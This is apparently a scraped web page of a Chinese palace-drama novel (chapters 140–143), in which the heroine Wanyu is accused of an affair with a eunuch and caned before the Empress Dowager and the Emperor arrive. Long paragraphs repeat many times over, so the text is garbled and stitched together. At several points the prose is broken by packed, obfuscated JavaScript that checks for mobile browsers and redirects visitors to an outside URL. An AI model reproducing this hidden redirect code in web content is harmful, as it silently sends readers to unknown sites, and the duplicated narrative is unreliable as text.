如同祁让说得那样,想要在后宫立足,除了依附他,别无出路。 晚余忍着心痛,在徐清盏跟前蹲下,哽咽出声:“清盏,你怎么样?” 徐清盏放下抱在头上的手臂,对上她的视线,那双在她面前总是带着笑意的狐狸眼,此时却布满血丝,泛着泪光。 “怎么样,没破相吧?”他艰难开口,和她说了那晚乾清宫一别之后的第一句话。 晚余的眼泪瞬间冲出眼眶,因着低头的姿势,恰好落在徐清盏的脸上。 徐清盏血红的眸底是不可抑制的思念,伸手将那滴泪在脸上抹开,让它完完全全渗进肌肤里,仿佛这样就可以和她融为一体。 晚余的泪却不间断地掉下来,一颗一颗砸在他手背上。 他的手以前修长又白皙,骨节匀称,指甲饱满,比女子的手还美上三分。 如今不过短短几日,已经因为劳作变得干枯开裂,上面还有青紫的伤痕。 晚余的心都揪成了一团,眼泪更加汹涌。 她已经下决心不再哭泣,此时此刻,除了流泪,她什么也做不了,她甚至都不能去碰一碰他的手。 徐清盏撑着身子坐起来,将受伤的后背靠在冷硬的墙上,喘息声中带着隐忍的痛苦,却还笑着安慰她:“别哭,我一点都不疼。” 晚余掏出帕子,去擦他嘴角的血迹。 他却夺过帕子,去擦晚余的眼泪:“别哭,小鱼,记着我和你说的话,一切都会好的。” 晚余哽咽点头,带着哭腔,努力把眼泪往肚里咽:“好,我不哭了,以后都不哭了,你要好好的,等着我,我会让一切都好起来的。” 名头来为自己虚张声势。 如同祁让说得那样,想要在后宫立足,除了依附他,别无出路。 晚余忍着心痛,在徐清盏跟前蹲下,哽咽出声:“清盏,你怎么样?” 徐清盏放下抱在头上的手臂,对上她的视线,那双在她面前总是带着笑意的狐狸眼,此时却布满血丝,泛着泪光。 “怎么样,没破相吧?”他艰难开口,和她说了那晚乾清宫一别之后的第一句话。 晚余的眼泪瞬间冲出眼眶,因着低头的姿势,恰好落在徐清盏的脸上。 徐清盏血红的眸底是不可抑制的思念,伸手将那滴泪在脸上抹开,让它完完全全渗进肌肤里,仿佛这样就可以和她融为一体。 晚余的泪却不间断地掉下来,一颗一颗砸在他手背上。 他的手以前修长又白皙,骨节匀称,指甲饱满,比女子的手还美上三分。 如今不过短短几日,已经因为劳作变得干枯开裂,上面还有青紫的伤痕。 晚余的心都揪成了一团,眼泪更加汹涌。 她已经下决心不再哭泣,此时此刻,除了流泪,她什么也做不了,她甚至都不能去碰一碰他的手。 徐清盏撑着身子坐起来,将受伤的后背靠在冷硬的墙上,喘息声中带着隐忍的痛苦,却还笑着安慰她:“别哭,我一点都不疼。” 晚余掏出帕子,去擦他嘴角的血迹。 他却夺过帕子,去擦晚余的眼泪:“别哭,小鱼,记着我和你说的话,一切都会好的。” 晚余哽咽点头,带着哭腔,努力把眼泪往肚里咽:“好,我不哭了,以后都不哭了,你要好好的,等着我,我会让一切都好起来的。” 名头来为自己虚张声势。 如同祁让说得那样,想要在后宫立足,除了依附他,别无出路。 晚余忍着心痛,在徐清盏跟前蹲下,哽咽出声:“清盏,你怎么样?” 徐清盏放下抱在头上的手臂,对上她的视线,那双在她面前总是带着笑意的狐狸眼,此时却布满血丝,泛着泪光。 “怎么样,没破相吧?”他艰难开口,和她说了那晚乾清宫一别之后的第一句话。 晚余的眼泪瞬间冲出眼眶,因着低头的姿势,恰好落在徐清盏的脸上。 徐清盏血红的眸底是不可抑制的思念,伸手将那滴泪在脸上抹开,让它完完全全渗进肌肤里,仿佛这样就可以和她融为一体。 晚余的泪却不间断地掉下来,一颗一颗砸在他手背上。 他的手以前修长又白皙,骨节匀称,指甲饱满,比女子的手还美上三分。 如今不过短短几日,已经因为劳作变得干枯开裂,上面还有青紫的伤痕。 晚余的心都揪成了一团,眼泪更加汹涌。 她已经下决心不再哭泣,此时此刻,除了流泪,她什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晚余哽咽点头,带着哭腔,努力把眼泪往肚里咽:“好,我不哭了,以后都不哭了,你要好好的,等着我,我会让一切都好起来的。” 名头来为自己虚张声势。 如同祁让说得那样,想要在后宫立足,除了依附他,别无出路。 晚余忍着心痛,在徐清盏跟前蹲下,哽咽出声:“清盏,你怎么样?” 徐清盏放下抱在头上的手臂,对上她的视线,那双在她面前总是带着笑意的狐狸眼,此时却布满血丝,泛着泪光。 “怎么样,没破相吧?”他艰难开口,和她说了那晚乾清宫一别之后的第一句话。 晚余的眼泪瞬间冲出眼眶,因着低头的姿势,恰好落在徐清盏的脸上。 徐清盏血红的眸底是不可抑制的思念,伸手将那滴泪在脸上抹开,让它完完全全渗进肌肤里,仿佛这样就可以和她融为一体。 晚余的泪却不间断地掉下来,一颗一颗砸在他手背上。 他的手以前修长又白皙,骨节匀称,指甲饱满,比女子的手还美上三分。 如今不过短短几日,已经因为劳作变得干枯开裂,上面还有青紫的伤痕。 晚余的心都揪成了一团,眼泪更加汹涌。 她已经下决心不再哭泣,此时此刻,除了流泪,她什么也做不了,她甚至都不能去碰一碰他的手。 徐清盏撑着身子坐起来,将受伤的后背靠在冷硬的墙上,喘息声中带着隐忍的痛苦,却还笑着安慰她:“别哭,我一点都不疼。” 晚余掏出帕子,去擦他嘴角的血迹。 他却夺过帕子,去擦晚余的眼泪:“别哭,小鱼,记着我和你说的话,一切都会好的。” 晚余哽咽点头,带着哭腔,努力把眼泪往肚里咽:“好,我不哭了,以后都不哭了,你要好好的,等着我,我会让一切都好起来的。” 名头来为自己虚张声势。 如同祁让说得那样,想要在后宫立足,除了依附他,别无出路。 晚余忍着心痛,在徐清盏跟前蹲下,哽咽出声:“清盏,你怎么样?” 徐清盏放下抱在头上的手臂,对上她的视线,那双在她面前总是带着笑意的狐狸眼,此时却布满血丝,泛着泪光。 “怎么样,没破相吧?”他艰难开口,和她说了那晚乾清宫一别之后的第一句话。 晚余的眼泪瞬间冲出眼眶,因着低头的姿势,恰好落在徐清盏的脸上。 徐清盏血红的眸底是不可抑制的思念,伸手将那滴泪在脸上抹开,让它完完全全渗进肌肤里,仿佛这样就可以和她融为一体。 晚余的泪却不间断地掉下来,一颗一颗砸在他手背上。 他的手以前修长又白皙,骨节匀称,指甲饱满,比女子的手还美上三分。 如今不过短短几日,已经因为劳作变得干枯开裂,上面还有青紫的伤痕。 晚余的心都揪成了一团,眼泪更加汹涌。 她已经下决心不再哭泣,此时此刻,除了流泪,她什么也做不了,她甚至都不能去碰一碰他的手。 徐清盏撑着身子坐起来,将受伤的后背靠在冷硬的墙上,喘息声中带着隐忍的痛苦,却还笑着安慰她:“别哭,我一点都不疼。” 晚余掏出帕子,去擦他嘴角的血迹。 他却夺过帕子,去擦晚余的眼泪:“别哭,小鱼,记着我和你说的话,一切都会好的。” 晚余哽咽点头,带着哭腔,努力把眼泪往肚里咽:“好,我不哭了,以后都不哭了,你要好好的,等着我,我会让一切都好起来的。” 第140章 背着皇上和太监偷情 徐清盏的动作顿住,拿帕子的手停在晚余脸颊,眼神变得焦灼:“小鱼,你要做什么,你别做,你什么都不要做,你只要等着我和长安就好,你不要去求皇上,不要去……” 他从未如此失控,急切的话语甚至带了些哀求。 他已经猜到晚余要做什么。 他不想她为了他去向皇上自荐枕席。 哪怕她已经被皇上夺去了清白,他也不想她为了他去和皇上做那种事。 这比杀了他还要让他痛苦。 “小鱼,别这样,我是要你把一切都交给我,我已经安排好了,我不会一直这样,我不想你为了我去做那些令我们都痛苦的事情,你懂吗,你懂我的意思吗?” “我懂。” 晚余点头,双眼哭到浮肿,眼神却无比坚定,“我懂你的意思,但我不能永远躲在你背后,就像长安不愿永远躲在你背后一样。 你已经背负了太多,长安就是不想让你独自承受,才在临行前和皇上摊牌,我也一样,我不能让你一个人苦苦支撑。 我们本就是一体,就该并肩作战,我如今这样,除了往上爬,已经无路可走。 紫苏说得对,我们就算受气,也不能谁的气都受,我们再不堪,也不能随便谁都来践踏。 清盏,我懂你的意思,我的意思你懂吗?” 徐清盏微微仰起头,举起一只手,用手背挡住眼睛,仿佛天光太刺眼,让他无法承受。 可天色尚早,日头被高高的宫墙遮挡,没有一丝光亮能照进来。 他闭着眼睛缓了一会儿,放下手的时候,神色已恢复如常。 “小鱼……” 他开口,想说你去吧,你想做什么就去做吧,可话到嘴边,却一个字都说不出来。 这是他用生命爱着的姑娘,他只要一想到她躺在龙床上的情形,心就像被扔进了油锅里一样煎熬。 他怎么可能说得出口? 晚余仿佛看穿了他的心思,对他微微一笑:“你不必说,也不必难过,你就全当这是我的劫,只要渡过这道劫,我就能获得新生。” 徐清盏的心已然千疮百孔,看着她故作坚强的笑脸,终是忍不住流下一滴泪。 “不哭,我们都不哭。”晚余伸手帮他把那滴泪擦去,“我走了,你照顾好自己,等着我。” 徐清盏还来不及感受她的指腹留在他脸上的温度,她已经站起来,毅然决然地转身离开。 她身上疼,走得并不快,可那纤弱的身影,还是一步一步地走 出了他的视线。 徐清盏靠在墙上,看着她的身影转个弯消失在宫道尽头,又悄然落下一滴泪。 他从不曾得到过她,却无数次地失去着她。 她每一次的离开,对他来说都像是一场生离死别。 不知道下一次再见会是什么时候,也不知道还有没有下一次。 冰冷的地砖和墙壁冻透了他的身体,从那僵硬麻木的躯体里流出的泪,却是热的。 他抬手抹了一把脸,撑着墙壁站起身,捡起地上的扫帚,拖在身后,步履艰难地朝着和晚余相反的方向走去。 晚余回到咸福宫,康嫔才刚起床,正在寝殿梳妆。 早起洒扫的宫女看到晚余从外面进来,都很惊讶,立刻跑去禀报康嫔。 晚余刚回到西配殿坐下,喝了半盏紫苏给她倒的热水,青萝就找了过来,说康嫔要见她。 紫苏和梅霜要陪她一起去,青萝不允许,说娘娘刚起来,不耐烦见闲杂人等。 晚余对梅霜耳语了几句,就让她们两个留下,独自一人随青萝去了正殿。 康嫔坐在妆台前,正对着镜子看宫女为她梳头,见晚余进来,冷着脸问:“大清早的你怎么会从外面回来,你昨晚去哪儿了? 晚余上前福身一礼,语气平静道:“回娘娘的话,嫔妾昨晚哪儿都没去,是早晨醒得太早,出去走了走。 “天寒地冻的,大清早就出去溜达,你当本宫是傻子吗?康嫔不信她的话,脸色更冷了几分,“你最好实话实说,否则本宫就告诉皇上,让皇上亲自问你。 晚余一惊,目光躲闪地垂下头:“嫔妾没有撒谎,嫔妾说的都是实话。 康嫔见她神色慌张,直觉有猫腻,推开梳头宫女的手,起身向她走过来。 “既是实话,你慌什么,本宫看你分明就是心虚。 她走到晚余跟前,一把扯住了晚余的头发,迫使她抬起头来,厉声道,“看着本宫,给本宫再说一遍,你昨晚干什么去了? 晚余疼得呻吟出声,紧锁眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她却还是什么都不肯承认,硬说自己哪也没去。 康嫔还要再打,一个宫女突然进来禀报,说兰贵妃来了。 康嫔吃了一惊:“这么早,贵妃娘娘来干什么?” 那宫女说:“贵妃娘娘跟前的德全公公说,大清早撞见江采女和徐清盏在宫道上搂搂抱抱,他上前阻止,**采女打了一巴掌,给贵妃娘娘领的银丝炭也被徐清盏砸烂了。” 康嫔闻言震惊地看向晚余:“好你个狐媚子,怪不得你死活不肯说,原来是背着皇上和太监偷情去了,这回人证物证俱在,本宫倒要看看,还有谁能保得住你!” 第141章 快说,那个野男人是谁 康嫔激动不已,让青萝看好晚余,自己亲自出去把兰贵妃迎了进来。 “贵妃娘娘来得正好,臣妾就是觉得这狐媚子鬼鬼祟祟不对劲儿,才把她叫过来审问,可她死鸭子嘴硬,怎么都不肯说实话。” 兰贵妃款步而来,一身大红绣金牡丹的广袖袍服,外面罩着雪白的狐裘斗篷,那金线绣成的牡丹在行走间次第绽放,摇曳生姿。 高高挽起的云鬓间,一枚累丝金凤步摇也随着她的步调轻轻晃动,光华流转,衬得她一张芙蓉面神采飞扬,又贵不可言。 “人在哪呢,让本宫瞧瞧。”她语气慵懒地开口,“大冷的天儿,若非赵德全那狗东西说有人秽乱宫闱,本宫实在不想出门。” “辛苦娘娘跑这一趟,秽乱宫闱是大事,娘娘掌管六宫,少不得要您操心。” 康嫔拍着马屁把兰贵妃领到了晚余跟前,指着她身上的伤痕说道,“娘娘请看,她这一身的伤,可不是被野男人弄出来的吗,她却死活不肯承认。” 兰贵妃的视线如刀子一样落在晚余身上,看着她这身凝脂白玉般的皮肉,也忍不住眼红。 再看那雪白肌肤上斑斑点点的痕迹,冷笑一声道:“都这样了,还有什么好抵赖的,敬事房的记档本宫每日都看,皇上这几日都没有临幸她。” “是啊是啊!”康嫔按捺不住激动的心情,手指在晚余身上点来点去,“这些痕迹一看就是刚弄出来的,可她偏不承认,娘娘说该怎么办?” “不承认就打,打到她承认为止!” 兰贵妃弯下腰,伸出一根手指挑起晚余的下巴,“本宫可不是康嫔这样的好性子,你若不肯说,就别怪本宫不留情面了。” 晚余被迫与她对视,语气坚定道:“娘娘明鉴,嫔妾没有和徐清盏私会,嫔妾是在宫道上偶然遇见赵德全和几个太监殴打徐清盏,为免他们惊扰娘娘们的美梦,才出面将他们赶走,在那之前,嫔妾根本不知道挨打的是徐清盏。” “狡辩,一派胡言!”康嫔厉声道,“我们在宫里几年都没遇到过的事,怎么你随便走一走就遇到了,分明是你和徐清盏勾勾搭搭,被赵德全看见了,你却还反咬一口。 事到如今,你还想仗着皇上对你的宠爱脱身吗,皇上若看到你这一身伤,第一个砍了你的脑袋!” 晚余放弃争辩,一副从容赴死的模样:“随便娘娘怎么说,嫔妾没做过的事,绝对不会承认。” “既然如此,那就别废话了,拖出去打吧!”兰贵妃说,“先打三十杖,她若不肯说,再加五 十。” “是。”康嫔立刻吩咐人把晚余拖出去行刑,又叫人搬了椅子放在廊下,请兰贵妃坐着观刑。 兰贵妃双手捧着掐丝珐琅的暖手炉,在椅子上坐下,最后一次问晚余:“你到底说不说?” 晚余摇头:“嫔妾无话可说。” “打!给我狠狠的打!”康嫔被她的倔强激怒,大声下达命令。 两个行刑的太监便举起刑杖向晚余打过去。 “小主……”紫苏叫喊着跑过来,扑到晚余背上,把她紧紧抱住。 势大力沉的一杖就重重地落在了紫苏背上。 紫苏疼得闷哼一声,却死死抱住晚余不肯松开。 兰贵妃和康嫔几乎同时下令:“来人!把这个贱婢拖走!” 她们好不容易才有机会光明正大的打死江晚余,可不能被一个小丫头搅了局。 趁着皇上还在上朝,先打**江晚余,再处置她的丫头也不迟。 青萝指挥着两个小太监把紫苏硬生生从晚余身上拽下来,捆住双手扔到一旁。 “打,快点打!”康嫔迫不及待地喊。 晚余身上没了遮挡,刑杖狠狠落下,打在她身上,发出沉闷的声响。 一下。 两下。 三下。 她趴在长凳上,死死咬住嘴唇,没有发出一点声音。 康嫔觉得哪里不对。 刚刚自己在里面拧了她几下,她就疼得嗷嗷乱叫,怎么现在反倒不叫了? 是因为和太监私通被人知道了,没脸叫了吗? 不过话说回来,她真的敢在宫道上就和徐清盏搂搂抱抱吗? 那个赵德全可不是什么好东西,他说的话是真的吗? 江晚余不是有两个丫头吗,另外一个去哪儿了? 算了。 管不了这么多了,先把这狐媚子弄死再说。 左右赵德全是兰贵妃的人,兰贵妃又是自个找上门来的,到时候皇上就算问起来,也有兰贵妃在前面顶着,和自己没有关系。 康嫔攥着手指,掌心都急出了汗,巴不得晚余立时三刻就断了气,便是神仙来了也无力回天。 正想着,外面突然有人高喊:“太后驾到!” 众人都吃了一惊,齐刷刷向大门口看过去。 康嫔脸色一变,心说皇上没来,怎么太后来了? 太后一来,少不得要问个原委,这样一拖延,再把皇上拖来,那就更坏事了。 可想归想,太后来了,她们也只 得暂停行刑,过去迎接太后凤驾。 十几个太监宫女头前开路,太后坐着肩辇被抬了进来。 院子里的人呼啦啦跪了一地。 兰贵妃和康嫔上前福身行礼,一左一右扶着太后下了肩辇。 “这么冷的天,太后娘娘怎么过来了?”兰贵妃笑着问道。 太后不动声色地瞥了她一眼:“这么冷的天,你不也过来了吗?” 兰贵妃心下一惊,忙解释道:“臣妾听闻江采女和徐清盏在宫道上私会,唯恐他们做出秽乱宫闱之事,特地来问一问。” 太后的视线落在晚余身上,见她趴在长凳上死气沉沉,也不知打坏了没有,沉着脸道:“可问出什么了?” 兰贵妃摇头:“没有,这**死活不肯说。” 太后唯恐晚余扛不住说出到撷芳殿探望晋王的事,听闻她什么也没说,这才暗暗松了口气,冲兰贵妃厉声道:“所以你就要屈打成招吗?” 兰贵妃一直以为太后是站在她们这边的,没想到她会出面维护江晚余,一时有些怔忡。 康嫔在旁边插了一句:“太后明鉴,我们没有冤枉她,她身上全是和男人欢好的痕迹,这个抵赖不了,可她就是宁死不肯供出那个野男人。” 太后心里咯噔一下。 江晚余身上怎么会有欢好的痕迹? 难不成她昨晚已经见到了晋王,被旷了太久的晋王给…… 正想着,门外又有声音高喊:“皇上驾到!” 得暂停行刑,过去迎接太后凤驾。 十几个太监宫女头前开路,太后坐着肩辇被抬了进来。 院子里的人呼啦啦跪了一地。 兰贵妃和康嫔上前福身行礼,一左一右扶着太后下了肩辇。 “这么冷的天,太后娘娘怎么过来了?”兰贵妃笑着问道。 太后不动声色地瞥了她一眼:“这么冷的天,你不也过来了吗?” 兰贵妃心下一惊,忙解释道:“臣妾听闻江采女和徐清盏在宫道上私会,唯恐他们做出秽乱宫闱之事,特地来问一问。” 太后的视线落在晚余身上,见她趴在长凳上死气沉沉,也不知打坏了没有,沉着脸道:“可问出什么了?” 兰贵妃摇头:“没有,这**死活不肯说。” 太后唯恐晚余扛不住说出到撷芳殿探望晋王的事,听闻她什么也没说,这才暗暗松了口气,冲兰贵妃厉声道:“所以你就要屈打成招吗?” 兰贵妃一直以为太后是站在她们这边的,没想到她会出面维护江晚余,一时有些怔忡。 康嫔在旁边插了一句:“太后明鉴,我们没有冤枉她,她身上全是和男人欢好的痕迹,这个抵赖不了,可她就是宁死不肯供出那个野男人。” 太后心里咯噔一下。 江晚余身上怎么会有欢好的痕迹? 难不成她昨晚已经见到了晋王,被旷了太久的晋王给…… 正想着,门外又有声音高喊:“皇上驾到!” 得暂停行刑,过去迎接太后凤驾。 十几个太监宫女头前开路,太后坐着肩辇被抬了进来。 院子里的人呼啦啦跪了一地。 兰贵妃和康嫔上前福身行礼,一左一右扶着太后下了肩辇。 “这么冷的天,太后娘娘怎么过来了?”兰贵妃笑着问道。 太后不动声色地瞥了她一眼:“这么冷的天,你不也过来了吗?” 兰贵妃心下一惊,忙解释道:“臣妾听闻江采女和徐清盏在宫道上私会,唯恐他们做出秽乱宫闱之事,特地来问一问。” 太后的视线落在晚余身上,见她趴在长凳上死气沉沉,也不知打坏了没有,沉着脸道:“可问出什么了?” 兰贵妃摇头:“没有,这**死活不肯说。” 太后唯恐晚余扛不住说出到撷芳殿探望晋王的事,听闻她什么也没说,这才暗暗松了口气,冲兰贵妃厉声道:“所以你就要屈打成招吗?” 兰贵妃一直以为太后是站在她们这边的,没想到她会出面维护江晚余,一时有些怔忡。 康嫔在旁边插了一句:“太后明鉴,我们没有冤枉她,她身上全是和男人欢好的痕迹,这个抵赖不了,可她就是宁死不肯供出那个野男人。” 太后心里咯噔一下。 江晚余身上怎么会有欢好的痕迹? 难不成她昨晚已经见到了晋王,被旷了太久的晋王给…… 正想着,门外又有声音高喊:“皇上驾到!” 得暂停行刑,过去迎接太后凤驾。 十几个太监宫女头前开路,太后坐着肩辇被抬了进来。 院子里的人呼啦啦跪了一地。 兰贵妃和康嫔上前福身行礼,一左一右扶着太后下了肩辇。 “这么冷的天,太后娘娘怎么过来了?”兰贵妃笑着问道。 太后不动声色地瞥了她一眼:“这么冷的天,你不也过来了吗?” 兰贵妃心下一惊,忙解释道:“臣妾听闻江采女和徐清盏在宫道上私会,唯恐他们做出秽乱宫闱之事,特地来问一问。” 太后的视线落在晚余身上,见她趴在长凳上死气沉沉,也不知打坏了没有,沉着脸道:“可问出什么了?” 兰贵妃摇头:“没有,这**死活不肯说。” 太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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兰贵妃一直以为太后是站在她们这边的,没想到她会出面维护江晚余,一时有些怔忡。 康嫔在旁边插了一句:“太后明鉴,我们没有冤枉她,她身上全是和男人欢好的痕迹,这个抵赖不了,可她就是宁死不肯供出那个野男人。” 太后心里咯噔一下。 江晚余身上怎么会有欢好的痕迹? 难不成她昨晚已经见到了晋王,被旷了太久的晋王给…… 正想着,门外又有声音高喊:“皇上驾到!” 得暂停行刑,过去迎接太后凤驾。 十几个太监宫女头前开路,太后坐着肩辇被抬了进来。 院子里的人呼啦啦跪了一地。 兰贵妃和康嫔上前福身行礼,一左一右扶着太后下了肩辇。 “这么冷的天,太后娘娘怎么过来了?”兰贵妃笑着问道。 太后不动声色地瞥了她一眼:“这么冷的天,你不也过来了吗?” 兰贵妃心下一惊,忙解释道:“臣妾听闻江采女和徐清盏在宫道上私会,唯恐他们做出秽乱宫闱之事,特地来问一问。” 太后的视线落在晚余身上,见她趴在长凳上死气沉沉,也不知打坏了没有,沉着脸道:“可问出什么了?” 兰贵妃摇头:“没有,这**死活不肯说。” 太后唯恐晚余扛不住说出到撷芳殿探望晋王的事,听闻她什么也没说,这才暗暗松了口气,冲兰贵妃厉声道:“所以你就要屈打成招吗?” 兰贵妃一直以为太后是站在她们这边的,没想到她会出面维护江晚余,一时有些怔忡。 康嫔在旁边插了一句:“太后明鉴,我们没有冤枉她,她身上全是和男人欢好的痕迹,这个抵赖不了,可她就是宁死不肯供出那个野男人。” 太后心里咯噔一下。 江晚余身上怎么会有欢好的痕迹? 难不成她昨晚已经见到了晋王,被旷了太久的晋王给…… 正想着,门外又有声音高喊:“皇上驾到!” 得暂停行刑,过去迎接太后凤驾。 十几个太监宫女头前开路,太后坐着肩辇被抬了进来。 院子里的人呼啦啦跪了一地。 兰贵妃和康嫔上前福身行礼,一左一右扶着太后下了肩辇。 “这么冷的天,太后娘娘怎么过来了?”兰贵妃笑着问道。 太后不动声色地瞥了她一眼:“这么冷的天,你不也过来了吗?” 兰贵妃心下一惊,忙解释道:“臣妾听闻江采女和徐清盏在宫道上私会,唯恐他们做出秽乱宫闱之事,特地来问一问。” 太后的视线落在晚余身上,见她趴在长凳上死气沉沉,也不知打坏了没有,沉着脸道:“可问出什么了?” 兰贵妃摇头:“没有,这**死活不肯说。” 太后唯恐晚余扛不住说出到撷芳殿探望晋王的事,听闻她什么也没说,这才暗暗松了口气,冲兰贵妃厉声道:“所以你就要屈打成招吗?” 兰贵妃一直以为太后是站在她们这边的,没想到她会出面维护江晚余,一时有些怔忡。 康嫔在旁边插了一句:“太后明鉴,我们没有冤枉她,她身上全是和男人欢好的痕迹,这个抵赖不了,可她就是宁死不肯供出那个野男人。” 太后心里咯噔一下。 江晚余身上怎么会有欢好的痕迹? 难不成她昨晚已经见到了晋王,被旷了太久的晋王给…… 正想着,门外又有声音高喊:“皇上驾到!” 第142章 皇上一定要找出那个野男人 这一嗓子喊出来,不但康嫔和兰贵妃心惊肉跳,太后也吓得不轻。 她听人说晚余大清早从外面回来,第一反应就是晚余去了晋王那里,这才匆匆赶来,想趁着皇帝下朝之前把事情解决了,免得晚余受不住刑说出她们的秘密。 谁知她前脚刚到,皇帝后脚就来了。 皇帝一来,她连悄悄和晚余说句话的机会都没了。 等下万一皇帝逼迫太狠,晚余扛不住招了供,一切就全完了。 这可如何是好? 太后急得手心冒汗,面上还不能流露分毫,端着太后的威严站在原地,看着祁让下了肩辇,面容冷肃地受了众人的礼,向自己这边大步而来。 “母后也来了?祁让走到太后跟前,微微弯腰给太后行了一礼,“儿子给母后请安。 太后的心咚咚跳,伸手去扶他:“你怎么也来了,早朝这么快就散了吗? “嗯。祁让点头,“除了西北的战事,旁的没什么事,儿子就让他们散了。 太后将信将疑,顺着他的话问道:“西北战事怎么样了? “局势基本稳定,有沈长安在,母后不必忧心。 祁让显然不愿多谈,敷衍了一句,就将目光转到晚余身上,见她趴在长凳上一动不动,不自觉攥起了手指,“儿子听闻咸福宫出了事,就过来瞧一眼,江采女这是又犯什么错了? 太后知道皇帝不想让她打听前朝的政务,便又顺着他的话说:“哀家也是刚过来,具体怎么回事还没问明白,让兰贵妃和你说吧! 兰贵妃这会子心里也是扑腾扑腾的。 她原想着不管三七二十一,先趁皇上顾不着的时机把人打死再说,谁知才打到一半皇上就来了。 要是还没开始打,或者索性打**也好。 偏生这不上不下的打成了重伤,非但不能铲除祸害,还会让皇上更加心疼,更加怜惜。 甚至有可能为了她冲冠一怒,大开杀戒。 这不是偷鸡不成蚀把米吗? 她心下惶恐,硬着头皮对祁让禀道:“回皇上的话,臣妾宫里的太监赵德全说,他清早起来到内务府领炭,在宫道上撞见了江采女和徐清盏搂搂抱抱。 他出声提醒,**采女打了一巴掌,领的炭也被徐清盏砸烂了,臣妾怕江采女做出秽乱宫闱之事,丢了皇上的颜面,这才急忙来咸福宫询问江采女。 臣妾过来之后,发现康嫔正在审问江采女,说江采女身上有许多与人欢好留下的痕迹,但皇上这几日 并未召她侍寝,问她怎么回事她也不说。 臣妾无奈之下,才对她动了刑,目的也是想让她供出私通之人,为皇上肃清宫闱,请皇上明鉴。” 兰贵妃一口气说完,悄悄给康嫔递了个眼神。 康嫔忙道:“皇上圣明,贵妃娘娘所言句句属实,臣妾也是听洒扫的宫女说,江采女大清早鬼鬼祟祟地从外面回来,感觉她有古怪,才把她叫过来询问的。 可她支支吾吾,遮遮掩掩,什么都不肯说,臣妾只是碰了她一下,她就疼得直叫,臣妾这才让人脱了她的衣裳查看,发现她身上全是欢好的痕迹。 皇上这几日都没召幸她,可想而知,她身上的痕迹都是野男人弄出来的,她偏生还要护着那个野男人,宁死不开口。 皇上若不信,可亲自去瞧瞧她的身子,别的都能做假,那痕迹却都是实打实的,断不会有假。” 她这边言辞凿凿,祁让却听得脸色铁青。 他根本不用去瞧,那些痕迹他比谁都清楚,昨晚他还亲自往那些痕迹上擦过药。 康嫔一口一个野男人,殊不知,他就是那个野男人。 可眼下太后在这里,他不能让太后知道晚余见过晋王之后就去见了他,因此也不能承认自己就是那个野男人。 他冷沉的目光再次落在晚余身上。 她被打成这样,却什么都不肯说,到底是为了徐清盏,还是因为自己叮嘱过她不能让太后知道晋王的事? 她现在还是清醒的吗? 她一定很疼吧? 她知不知道他来了? 她若知道,为何趴在那里一动不动? 到了这个时候,她还不愿向他求救吗? 她到底要倔强到什么时候? 太后见祁让一直盯着晚余看,唯恐他信了康嫔和兰贵妃的话,叫人再接着严刑逼供。 她想着,晚余之所以打死都不开口,必定是为了保守她们的秘密,她身上的痕迹,也有可能是晋王弄出来的。 这要是让皇帝知道了,非但江晚余要死,自己和晋王和江晚棠,甚至江家满门都得死。 不行。 她绝不能让这种事情发生,不管出于什么目的,她今天必须死保江晚余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361844|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 正想着,祁让突然朝她看过来,幽幽道:“这件事,母后怎么看?” 太后明明是长辈,是他名义上的母亲,却被他一个眼神吓得后背生寒,忙定了定神道: “哀家听了半天,原来兰贵妃兴师动众地跑过来,就是听了赵德全的一面之词 ,其他的人证物证什么都没有。 秽乱宫闱确实罪不容诛,但也不能单凭一个太监空口白牙就给人定罪,否则的话,以后岂非谁都可以随意攀咬别人,把人往死里整? 长此以往,后宫岂非要乱了套?” 祁让眉峰微挑,意味深长道:“母后言之有理,依母后的意思,接下来当如何?” 太后说:“依哀家之见,应该把赵德全和徐清盏叫过来当面对质,倘或当时还有旁人,一并带来问话。 江采女到底是宫妃,就算到了非用刑不可的地步,也该对那些奴才用刑才对。” 兰贵妃霎时变了脸色。 太后什么意思? 她是老糊涂了,还是没睡醒? 好好的怎么突然替江晚余开脱起来? 她以前不是也和她们一样,不想让江晚余留在后宫的吗? 兰贵妃素来知道赵德全是个什么人,赵德全的话有几分真几分假她心里清楚,她就是想借着这个由头把人弄死。 可赵德全那种没骨头的人,哪里经得住严刑拷打,只怕不等板子落在身上就全招了。 到那时,自己又能落个什么好? 康嫔没有兰贵妃这么害怕,毕竟**是兰贵妃让打的,兰贵妃也是自个跑来咸福宫的。 就算赵德全说了谎,江晚余和徐清盏没有那回事,跟自己也没关系。 反正江晚余身上的痕迹是千真万确的,不是徐清盏,就是别的野男人。 到时候,自己只要咬**那个野男人不放,皇上还是得好好查她。 因此,不管最后江晚余和兰贵妃哪个获罪,对自己都没有什么影响。 她这样想着,就附和太后的话说:“臣妾认为太后所言极是,皇上就把赵德全和徐清盏叫过来当面对质吧!” 祁让的目光从太后,康嫔以及兰贵妃脸上一一扫过。 所有人都屏住呼吸,大气都不敢喘。 令人窒息的气氛中,祁让冷声吩咐道:“胡尽忠,照太后的意思办吧!” 第143章 指尖轻轻抹去她唇角的血迹 